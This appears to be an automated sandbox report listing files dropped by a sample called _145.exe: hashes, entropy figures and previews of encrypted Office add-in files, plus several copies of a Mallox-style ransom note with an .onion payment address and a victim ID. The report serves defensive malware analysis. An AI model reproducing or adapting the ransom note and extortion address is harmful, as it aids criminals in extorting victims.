Encrypted:	true
SSDEEP:	3072:VYFYNlu08L9Mk02OgqnAlDl2eYK9XoexWrJ9kH+Rr0hiLM8YzMKolo8Q1:VR3u0CLpzsqarJWKLjYzrolO
MD5:	6A59E34EA9EC81DC58679EE1C63CFC89
SHA1:	AE5EC372E85E6953D8ACB3671CB59B51AACF696B
SHA-256:	DD8178D42873CEE607EDCF78B387CA6715557A921B1D73DB6C87FA3B6DDA26E5
SHA-512:	5278437E8DA7A6C82B706A0ABEFA0BB90C29D303911D38996551005BC2C25DB18647C348911404936FE378C7A8670395FF9F777A36FB75A9D1DBC5EEEFF0D10A
Malicious:	true
Preview:	i.......lSV...@....7....?a?.:...B.Jn.nV.i..O..x...\|G..Y...f...f..W6Ua.4.~l}......VF..7.3H!.P".$.%Q..........W.. .'Z.w..W..=..l.........'..r.^...T..dGQm..i......J..).X..g....+.......X._...=q]....h.....g..Dv.."~..,l...B..Q.s....(.$........,.`M`..D2...E..C....I....V.h>.zp...v........u.3.C.C]...3"...&.S.......w..<Wfa...T..@+....F L.....r.A#Fn.z...n..wu\|v..c..G.....!..!N...L..@.....$.a.;....A..Nd...Wa..(..E..(#....Y=..S).@yh.!....b.,...N..:U.$....+..n..t..(...Eh?._.?.eD`O;..FI.y..........B.....O6....y5V.......D.z...'sd..{T.B..>...r...qOq.....p.a.f^/<4.8..H....Grs.e..L....._'.O.......,.z....e.....[...".Ie~k.;yj......?.R..%...?..<...9.M8..F.!2.A=.:bB.Q.c.Ly..cagh..}.....h)f.qj..n....d(W. ..~.{.s..E.........<]....t+6+....i.A>~.[k...m.9.(..aw.T.,..H..N'..C.?d..."VkUQ.....&Z.>L.z......YO....R.~....Zc..............t.Ay....Z.Itk.;N.\|.{L....k....E...g.....N....'.,.e....Y:.5..t..../.m....%x..kK.KXaSy.S.{?.<..F.T..\-.o..h .T.....'..I^......s..^

C:\Program Files (x86)\Microsoft Office\root\Office16\sdxs\FA000000051\dist\en-us_web\taskpane.js.map.gz

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	320330
Entropy (8bit):	7.999438604885453
Encrypted:	true
SSDEEP:	6144:LUzhJYMbMPCgm4Oz5b86tAEkAHT1o3h4tooWBE8R2cM:w9iMAvm4Oz5BN1ziR4G9R2cM
MD5:	36C96271865C9AA49C7228A137EBF952
SHA1:	0B481BD74280DF64A0E8987902E9D3459EFC1B66
SHA-256:	845F69832AA0742C2B5826A0CFD02A40240687C65E77B68CF205EE4730BCDFED
SHA-512:	09F4A9CAF27EC8A58A9EBA0AE4EE5CC5ECB364DA48CF3FC689592E49F940054032AA168170506E08FE5A0264256C46A9CF222EA740A1B0314478F3F4C80D420A
Malicious:	true
Preview:	TI9.4.......su....[.....n~....o..7.........,........F.E.....kxn.[.t.'x.T.6?....L..)...j=..R0B....z.#%...fL..0...]WO.[.1..`.6..O.1o.".42...).e._..g..g$t.ot.5S....T.....5....../...!._...zy~"e}53.c.f.....s2.....".&<.9 .>.z7...N.d.....j...[E..x.gis$../..E..$e.N....9./.x......Z3...y.........C....%....L3.R..n.c..h...).K.0_......F..H....V..........4...............>...H..x.(z..l..D.........3....U..rZ..A..%n..........MOk..m...u.......1^.7.##...e....2~]}...~.X.mRao.?..G......zx..P..V..6...#&.... .$....+.V..O.c.... ?..0.;..d4.Ro...\|>.+.A.vM.E.D.H...]P...d.R..c.S......C+"Iq....-A..9.....6v.....u.ew.-..Uh=...KF...%..(..[.-..GE.._.%8nF.d......ky3.kVZ.X4..U_.(..n"B[.ln1...{.Q.&.....7.J.@/....,.....\|.+..<.\_s....Rd.}U)1>7T.sy......P@\..R.K..[b..........j...@~.... .o..X.+.%lwf......7...u;.=....<.nDB8x.......p...?.....^.P9*.Ht.).hg..p.g=........g.3..W...6.9.P\..osU..$.@B.....L...0$!j..p.b..q=1.x....V..:..7.......y.0T9@..)(:&.;........X...$...Z?i...

C:\Program Files (x86)\Microsoft Office\root\Office16\sdxs\FA000000051\dist\en-us_web\taskpanev2.js.gz

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	154390
Entropy (8bit):	7.998770238774265
Encrypted:	true
SSDEEP:	3072:/vbnmMwaxJuZauSAcBsu5BDPE4rBrW17XV6lsHHq7Bteb4:3bnBVxJuwuSAA5ZDrU17HHKab4
MD5:	5E842973297B2D0AA4ABFC69EDE3834D
SHA1:	72CDB89A59AD45C36105C949398B81690A849EC6
SHA-256:	484AE8E9B3C78F09699FC13B2DE871ED559E5FD67C1D2A02514D00375D5AB478
SHA-512:	8D28D40528260C1B71E4711F297484A20FD382DEF8B872784388F47917A3A21FF66FF3096BDA20CC83A333238C04B3B13CE3EC56782D68B09941CF8381092B92
Malicious:	true
Preview:	d.ij....e.C.$.q^c.?.J....3....V...Y.2.........s=.s...@n..$..%.pw..#-.TT.0......T..\|p+LJH.V.'..:.s..s.....<....)......2.........4p..H.!..g..[dn.......T...=...{c...g.@..-[m...egq......\|E@.C..~'..9r..l.....3cB....6.a...\|V(.....#O..Mc.Re.. .4.1.r!/4......./%..gS...X..Bg`.P.o....x..$..Dyo.S......B5o>.rR...;..d..'.5..XE.6n..w.'.........d...i...{....i...)...[.Rb.....C.0.h....nX.A..G.J)..1N."....!.l.Q.....}.u...<.....\....T\|..r=.bk......c.m.....T.....(,..%.c.[...~..hvN.z.[k.......8..k)...h8...8....N..d?........#...r..5?...R..5Qf.!.bM.+.ql..OT.^4.&..`..T..""..$.)3/..O.n...p.t..U.p... ]'...&9!..=\.N......^.%{.......>.:.c....}Y..x.,w...gp...0.....o....a...3..B.F."l.....z..f...6..o..%]#...W.......2.hY.<...E...P=.!..cE&.d(...!..3x...8cE.B.&.1.1..;.F......K.p..6.._..U...z....Mv.HvE........:.wd.>\...@.hN.B{p..!{R.."..r..x.Y...5.._.r.v...*..u.-...Z.....O.f...Xb..s{....e..P.b&j.2.+!t.....1u.......Pi7\|.,.4&.)`z.K......M....F0.]_D.?T.JW-...L

C:\Program Files (x86)\Microsoft Office\root\Office16\sdxs\FA000000051\dist\en-us_web\taskpanev2.js.map.gz

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	358562
Entropy (8bit):	7.999507987317355
Encrypted:	true
SSDEEP:	6144:G3pm4hzvha/fXuU/aQlRS9W37pKFgOR4Cv4PFwrU9J1Gv19xiRz8wXWhYZS:AZhaSQfS9RP4S4mrvFkz8wmhh
MD5:	0636FD9E6A05D428B626E85FF922D9DE
SHA1:	0A1F4CF0EB47081A1E26E12D74EDD1145A66B6D9
SHA-256:	7D67E503059305DF19FDDF068C56E5225896297CAD3E4ABD642EF2F63FCF3B3A
SHA-512:	202C54B30348457D18A7F76735CEFF03B080ED7C3D9CF6F971E160F9B6B6FB8C14682D4A2C66C666C663B5C310534E0EF9A2DCFEE109B89AAEEB81A2732B4796
Malicious:	true
Preview:	..Z.n.q....5p.......3.4...../.c..Bd...7.....^h...e....".`%..] .Q.E..=..s=O..b..G..L..M..5.........0..K!......f....O.6+.......n...j%...+K.E...EF1e.h..ONI..s...."...6..l..sj>8.hX..G"bW}i4.......;.....j_....p._;.!a.WG=.../..PA<....F...nU7B' T.......0..t....w....Y.}.....f....qox..d...K.}..O.=l.$..r..M..w....m&F..e.}..UL.{V..bf..u....Z..iJ;.B.,k...7.h-'.N..[...V\..ML.....T/..bX$nJ.!w.ai.-.:.h/.(E..d.N...%......#,6..$.....>j/?........6".8.z......%K.'....`.i...1...V8u..P)tn^.....4hB.Nz.3F}.rY.]......}....:.!..g.-...T.].2..yZ....q..[.&3z.'...Di....}..x.T.&.\|q..E.........L..jG..)....8.....S.{..p..:o.{.Y..M....)...~>..%.$..:.i...;.Le..N....i.e..gr.<.>.k......X......X1.*.X:D.y. .p7.p9Q5..o.Q...X.Y.G.`..lg.A......B....a.._.H...7.C0...f.&....och...]...;ALL...4qI.vxO.'......_ v..'l.j....#BS.....,m.....hG-..In.+..,.]..F\....S.....g{1...OC\|...D....W..>Y7...'..#..l..U.._......\.E..f.~...)m...:P...X.."....G.y..]...zEz~...0.u.^....=..u.......l...\.......:...{

C:\Program Files (x86)\Microsoft Office\root\Office16\sdxs\FA000000051\dist\en-us_web\vendor.js.gz

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	243314
Entropy (8bit):	7.999378375423464
Encrypted:	true
SSDEEP:	6144:xAYe0Ko2Bn2qfYGghGSkmmHB9suqjph/5cJ9qmCInRO6:xAKKKqfKFSB9suqjph/5IlRR
MD5:	DFAEFF8E7A9FF43212E9DF9A511AAE26
SHA1:	856C67CDD6EB150093EE3F6D4B3241346A657895
SHA-256:	14F18640A5E3A2A2EB6CC0D7CC03806AFA76F970363829E9241827378A8F0527
SHA-512:	1250D9019EB06ADE92C28CB301029D2F9859D416286BEA3B635A72AD45C59E9371184BF98D6575AD520AF99C6DA1DED5F7B898CEA8D08DAE98DA4D74795282C9
Malicious:	true
Preview:	Y.0,q.E.4j9....>n.,...S..Vt..@...3.r.....`.2b..".m.V......{&\.# .].6.V0QU...wc..f\|Y.cz.6_z..v...~.N..?..o/...O.5&..Xn...h...`gBq.....CQ,k......`K..}....e~T.l. .2.\.o....c`..."r.%8...l..B.%7......R.W...sD...k.^y>..Y.k.-}..B. .E.H~.W.NE.4Z.........$#.WF.a]......."x1.Sj~.".D..7...x.{..y.....Q.Z.....,.f.Ur.Y..q.JB.C.K..... .A..;...%q...U....u[&1...@.H...%..b.:...,.y.....\|...(.;y.0.MP.........^...<@.D^@)..e.6.%.G...@..^.b6..H...D8...-...$.1..Q}......g\...e.M.73..CJ(f.......r.]n..~.POU7.\..F....".:i....(...m..7...Y.E..........b]..l..<..9....-\..{.`...L..x.d`.\|....D2....WkU...E...,...{...A....h..%...S..W.....F(P..B....0...~.\y.....G..eFfb....GDG.5...O44..EC`).[..g....K.U...a'.~d5..V..."=WN.Dt.......]..T.rwN..J.Z.^.).@...`.r.#......H...s.=..VQ,.R~.sR3Q....d....%..1.. ..W.....[\|Q..%.xk............s.._.@7.>.we.Z...\.?...?....3e.r...6.<.\...;.................~(...!....x.....$..12...G.].qF.....].$.SP3\{...F..J..:.G[..da..-.Uy.'...VU....F..Z...}.D\|*..

C:\Program Files (x86)\Microsoft Office\root\Office16\sdxs\FA000000051\dist\en-us_web\vendor.js.map.gz

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	811231
Entropy (8bit):	7.9997920506854685
Encrypted:	true
SSDEEP:	12288:93S+HwEo44GKOh8F/qjZetW0L41ND477AzFu+USIDgPiGm1o1g4p21Cc:93Scw/FBFSZ0c477ARu+ZIDtM1v2Yc
MD5:	47950F5FEDBDDD9B823DD10BEA25A04F
SHA1:	B3A6AF08562A0F53319757FAAF027ECDD1185FB5
SHA-256:	E29913B672DC4577560DDD4705884AA21B077C38EF08AB14D4F5FC25E4161013
SHA-512:	C4D08324F437DB894742A385BA33692A9309C1692439673D10B8B9AB9768B1D63ACF8E6E48915E4159A35AF60789E494D9C3F733FB9D55EC0D01AC801501EE36
Malicious:	true
Preview:	p.+f.h.@...PB.*)u..5.......8J{.../.......5...1.>.?.pU.^..Get.W...4................T.....r.C..."Ax....g"{.....vJ.>.}"..@O....i....?.._...y..#..m.....bg.N...8..!.....V...b..\|P.;....m...(.}......e5k...W....LM...\M.?..]..^.Q..mC....C...._...o>=1.h9{...........,...Z.]I..2...#..4.G..B!....i'..>=..%...d{.7K.<pe.....8.D..V..r7mF../..t.h....Y.!...?j...Z.=~...hr...2/..7.<....g.....}:J"N.f..1C.{s.t.(.n...s...@}.0~.B...,^3.=(~......h.jut1Z...i...1..3.pu...o...y..4e{..g.M.h.......-r{!...8...(.....g.w..G.K.....8..x!.7........=.c...d0F.H.>..<....H.......h.....a9...>t.W"..d..T..#.,.\..P.PA........n.5..dW.M.+.wZ.O.z.....<.../j..W\;........vk.....H......bs.}.io.?.lm..0....z5=..Q.P8C.+L._[.e_...c....\...%.?.y.I..7..z.`..e....+..1.kSS.........t..s.3.0Q.g3...Z.....?/.....y.J.I...r...2.;.v...x)..e.>cZ.k....)o.._..1.{..9..[l...<...}.zS..qc;..%..P~..P..2...x..&..58...EyR.p.,V.\.\.N.k..Z.M...Q..<.}..QQ4.MI..A...Qb......>.-.0=..P......s........j..>...d.....\$....

C:\Program Files (x86)\Microsoft Office\root\Office16\sdxs\FA000000109\dist\taskpane.js.gz

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	451885
Entropy (8bit):	7.999662178398114
Encrypted:	true
SSDEEP:	12288:3crD5VXNtnV9j6CRhH+f5NxVNHgsGbFbQAkZW6z1kqGbH:m5VXNtTjp63nJgFFqZW2uR
MD5:	74530C7A88FBDEC0937B0B6BF2E576C9
SHA1:	2F610E689523D1A41B229FC105333C3520301E44
SHA-256:	2C88F43D75F5C035EEBFE42BD7C21992FB1D9B660E1EF0C6E5D3EB8699574EF3
SHA-512:	2FB407BD44BA09CE419A7A237BA5DB4118EFFB5036A7F0A8723FC80938C64C5826EBA562A5C8A72F86EDDF7EA51F404FEC5093F373096D25D828CC1B56F4DDE8
Malicious:	true
Preview:	...'.#..-.1...qL....T....mI.M.C.ai6.Y~.GT..A.Q7.._...y.qy&%.ix....E...........BkCy...-.v.g..x.....(../.6C...jt../......]D.-.!'...Z..#.aU...>.J;.....~c.....8.Ao7.Cc.7.......&.............u.VP.T..f."..;!&.h.6-..J...u...?.]....q.M.@.S\..zf...HnM.6g..f2.....Wx..:....''X.2....a<}\.n.......Pt...Z..1;_>...v./.].T..z..Y=O>Y..Y:......@=\|_....w......C..5..........F...h9.e4..{.\|..b>.@j...Y.DI{)..z..=....;.9.:x..\|...b..q...V.CC.=.......$7..`..uLQ.R..#e...E.W....gP..\l...L...,.7"=Fo...)Y_.n1........T.:4t!C.,..+i..p).Y.b.U"....T-M......:.2giE2h.@..<omE...Z..u......b}.xC9..R..{......q'.h..,._...u.G..A..}....@.9_.......-q...L....n..u`.!^..F~....I.Gx....)..8zi........[7e2. ...?i../[F.<>...FP.r..1..`.5U.....I...f...ub.O....to.l8HyR.Q...q......\|.'-.T.u....%\|l.z#~.m...i..05%.....(.?Y%`F,.......M..{e..8.!i...9...KE..+..i.4....<.-0...!..N....>yN.....JU.=..~..,..ri..k%#FY.w..i.'0j$..}).r...&VM:]..}....4.3.....u..z6.\....-........m..`.X...Ph....1nL.T+.6..

C:\Program Files (x86)\Microsoft Office\root\Office16\sdxs\FA000000109\dist\taskpane.js.map.gz

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	1707100
Entropy (8bit):	7.999560462354806
Encrypted:	true
SSDEEP:	49152:iiqIrTNAEhsSu38WHgZKGXWNjma9cWB18p:i9IrTNAEesuGmgaGqip
MD5:	F9FEECF8AFF90CAB39AC4FCCC438BD1D
SHA1:	B9BBF580BE721D615CE71BE04BEB6B9FD36E2F2E
SHA-256:	FB96B3B5CD521C63F04C16A5EED458D0B22D2E5AF348FAEAD6FFCE41CF12F7FA
SHA-512:	BA4C2F34DB4F892DAD149D5C02B47016E522E49603C00E5429A6D314A18B4E73A06793383051B97C20E52BA24190B111B271E477D3272FAC31B52990F1877BE9
Malicious:	true
Preview:	..<\..z4.{.B.:.JV..$..zn.E.......Q3..B{.iY..f.<...?.cU.(..........p..-5...._@.......m...TK.j0..z.P...i.g...?....v....:.<.X)/v...lv......V.......0,.Q."r%...`..gJ....=..J,N.:C..-..2.m..Q...P.i.2..q;...5.,.gm).$6..2S....]...Q6c..7....%s.....5.k....N......-.S....5....q:q..3.~.........K..h..f..Wk...K..W..<.FB.. ..'.8.s?t.`.#.&U...Tv..z..n..X.^.a..:d.........."W.1.........4\m..]..p.^..LZ..l.bP^%....X+O.Cx7....6...f......w.fM@..)...Tn...U..c.pI3J._H.T....4ZK..9p....l8..Z.Y.....O....q..wA..?.0.p.)t:....;.....O.-....%s...R.j.....1.....X.p.Bn..._.D.J.j..4..%..(-5..:..\e.....X..7..`...h...~,bt.].x...EJ..^F.?V..C.E.H26....S....z..5s......H...`.......P.e...2Qz5..D...>g.^...\|.....9..2.]\.Aju.B"tO.r.U%..9..y.;..WS..p_.g#tt.<.q!..$...o..../....%YY.[.O....hP...x...K.N.....Zx..........*.rC.-..".\.......!}..E....N.......p..b.\|7S..;p....SO.`...<M.?-....l'.\|..G.e..g9..1.......~G.?...J...R....FG.....O.......Hy?+.ms..RG..2.C.)...............<...........%..

C:\Program Files (x86)\Microsoft Office\root\Office16\sdxs\FA000000109\dist\vendor.js.gz

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	42600
Entropy (8bit):	7.995701575396728
Encrypted:	true
SSDEEP:	768:XbWqsUoH7MlIc3xwKAE/Nv8ScsVmzm11na8syPJhtDzv+d6SQ:r9sHbeTKKbNE4J1a8DJzS6Z
MD5:	5D935BF902E90F4993768259A227B912
SHA1:	414AF1CAEB187E7A200DC01B18BD2F5FEFF87527
SHA-256:	B13893A91A8B48B1BA082024D985CEA3A1B3748F27B690B1248F01325ED4FB43
SHA-512:	B562C1C8A6E2460A6FB3919BA6A4F7C1F7889427D22114BE8C2096A2DBA95EED7CF518E47A3C3135AC5A85544C1384CF214E22DA80B117A6F72AA8E034470ABA
Malicious:	true
Preview:	.j"2....J.nO.\|..Zd.....f..w..=.....N-.5.j1.Vz.E4.FA.May.h..L.^2...W.7`..m.u........O...F..G6.....b.h.l#.....uB..Qz..=.:.r.AA...,..>Qt3..O\|.t.@ ...c.C.6u.[.>.L.8....8..a=...W..l....s.@~.r...G..(fyP........%..a.i..X......)..p..n...j...y.p..S.v.l@ga....A.$.^4:.[j../o>;V........`E...r..?w..I.;.........;^.- .\;~.4..b..k[.M8[""..H..j... .....v.]...u...p..D..F.]9M....Z?1;...[M..E..h\|a....q.?%<P..N..F.....@...C...Jx.;.+.l.@..4.z...5n.).2$.."0...ujV...p...+<..f..O.....T....G.....FHcd.....$E+..!q..+.9.{.<.j9.'J(..AK..w/.J..!X.5....8F@hn.P.(R.-.Zy..........,......vT...]..WSfl.y.)Mwy...N..J..,.....R[...0.b.!w..&.ID....I.D...Xd...-..=2L.2a...:]..jT.H..k`i.6....d.<.C.M....9,. <Y.U....N._.x5.4 ...x.Ll...).L...pRE.I.r...a%E.u((R.U0.n...TwL..`..d.}0.&.l}...9.......@.)...~....>...&..E..vi7.=.....w.Q...aF.8..`J..d....!.(..~..#'{bZ...pQ..b#..._A1..w.W.pEyU.p.......K~...[..(...6...N...K.a.Z....L.rG..8................1..}?ab.q...).......v.K\......={.!..

C:\Program Files (x86)\Microsoft Office\root\Office16\sdxs\FA000000109\dist\vendor.js.map.gz

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	98826
Entropy (8bit):	7.9980298834167245
Encrypted:	true
SSDEEP:	3072:I3XdxF/2h6JYe52MN6RXGa3pDVPbiakid:I3Xdrc6JY3/RW4D1kk
MD5:	A72C407F50A8775DA73CB8D8BA9F6860
SHA1:	2177DABF98AFEF87E3EEAE8B81ED12C2249452B8
SHA-256:	4ED64D243C9B2E409FDD01D66D8FFFB30E0EA9E9E59EC4AB6764AE8EBC322C3E
SHA-512:	9530EDF457E97AA07176E86E4EA62CADD9D3718BF12952EF28FD9EC4B6A888D6CC9BBC397649ADC1775316220CCB1B7286654B4EA89DED2C4C41351DDABDFA78
Malicious:	true
Preview:	w.8.!(;So..'p.F.<.:.R.."........G&.A.. ....i<WO8..}.................:M....%..... ..6..\|F.A5$\|#......%mf.6...`6..g.<q.M+.sr..l.].}......f..#.....VZ....9p<..,.d.\|.0s}.]XK5..{..V..^63..?.~..[.....C....b(.oq.TT..WO).Np...t.=l...B.3'.....I\....9...+x#.b.CD...x.r/.....&....ZDp(....s.7...Jc'.1&.A.U..VW.$...%!.....P.=@..DO........RuSZ.i.B]....k._%g...,vD..?m...@.7.C.KMP.p`k...N....,..j-......4............j.q+.N...U.....y-........D."....r.[.v{V.....m.....tcn.K......].r.......Y....X.......Y{..AVD.^...!s.....{....Zp1(.T..E..@8.]<....v%..`M[c.j49T....y........%{.:.6.)PY.X....aI.[6....D..7...&.....5........\|..9.4..9..@E...J.L...v~..G.$.Ec.....\|Lw&V..SI.MW.R.p.;.9'.S.T..8.i....o(~9.P,.;...[.}.F.V.'....KM^.2.?)..i.....}#A....#..[(]76..O.T.l?......Mj...[....uCM............u...V._...X...."......,.4..G..*.b.2......-..09..#A...;.v...v..(.h7.$...}....ya(A.....L .sD...} qwLE..t.%.j....A.2h..\|.f....S...-.o.RWu.J.}....v..5....D....[w!.;....W.m..7.JI0..

C:\Program Files (x86)\Reference Assemblies\HOW TO BACK FILES.txt

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	1410
Entropy (8bit):	4.76384410394738
Encrypted:	false
SSDEEP:	24:a/uY2308Lcq39xe+6L1ruW67nGVcyuZHVnFmFEIsYSwR4mZPnv0AVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnv0AVCh
MD5:	7322334E0D24A4434F1B5D63CF177D95
SHA1:	D3A4ECCC1E96EFC2AF2EE6D0F7B990A5ED1B8988
SHA-256:	229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B
SHA-512:	B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DFC3
Malicious:	false
Preview:	Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work condition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your Private key: 4993809EC85AB5141AA0DB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\HOW TO BACK FILES.txt

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	1410
Entropy (8bit):	4.76384410394738
Encrypted:	false
SSDEEP:	24:a/uY2308Lcq39xe+6L1ruW67nGVcyuZHVnFmFEIsYSwR4mZPnv0AVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnv0AVCh
MD5:	7322334E0D24A4434F1B5D63CF177D95
SHA1:	D3A4ECCC1E96EFC2AF2EE6D0F7B990A5ED1B8988
SHA-256:	229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B
SHA-512:	B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DFC3
Malicious:	false
Preview:	Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work condition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your Private key: 4993809EC85AB5141AA0DB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\v3.0\HOW TO BACK FILES.txt

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	1410
Entropy (8bit):	4.76384410394738
Encrypted:	false
SSDEEP:	24:a/uY2308Lcq39xe+6L1ruW67nGVcyuZHVnFmFEIsYSwR4mZPnv0AVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnv0AVCh
MD5:	7322334E0D24A4434F1B5D63CF177D95
SHA1:	D3A4ECCC1E96EFC2AF2EE6D0F7B990A5ED1B8988
SHA-256:	229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B
SHA-512:	B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DFC3
Malicious:	false
Preview:	Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work condition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your Private key: 4993809EC85AB5141AA0DB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\v3.0\RedistList\HOW TO BACK FILES.txt

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	1410
Entropy (8bit):	4.76384410394738
Encrypted:	false
SSDEEP:	24:a/uY2308Lcq39xe+6L1ruW67nGVcyuZHVnFmFEIsYSwR4mZPnv0AVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnv0AVCh
MD5:	7322334E0D24A4434F1B5D63CF177D95
SHA1:	D3A4ECCC1E96EFC2AF2EE6D0F7B990A5ED1B8988
SHA-256:	229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B
SHA-512:	B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DFC3
Malicious:	false
Preview:	Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work condition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your Private key: 4993809EC85AB5141AA0DB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\v3.0\SubsetList\HOW TO BACK FILES.txt

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	1410
Entropy (8bit):	4.76384410394738
Encrypted:	false
SSDEEP:	24:a/uY2308Lcq39xe+6L1ruW67nGVcyuZHVnFmFEIsYSwR4mZPnv0AVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnv0AVCh
MD5:	7322334E0D24A4434F1B5D63CF177D95
SHA1:	D3A4ECCC1E96EFC2AF2EE6D0F7B990A5ED1B8988
SHA-256:	229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B
SHA-512:	B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DFC3
Malicious:	false
Preview:	Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work condition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your Private key: 4993809EC85AB5141AA0DB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\v3.5\HOW TO BACK FILES.txt

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	1410
Entropy (8bit):	4.76384410394738
Encrypted:	false
SSDEEP:	24:a/uY2308Lcq39xe+6L1ruW67nGVcyuZHVnFmFEIsYSwR4mZPnv0AVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnv0AVCh
MD5:	7322334E0D24A4434F1B5D63CF177D95
SHA1:	D3A4ECCC1E96EFC2AF2EE6D0F7B990A5ED1B8988
SHA-256:	229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B
SHA-512:	B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DFC3
Malicious:	false
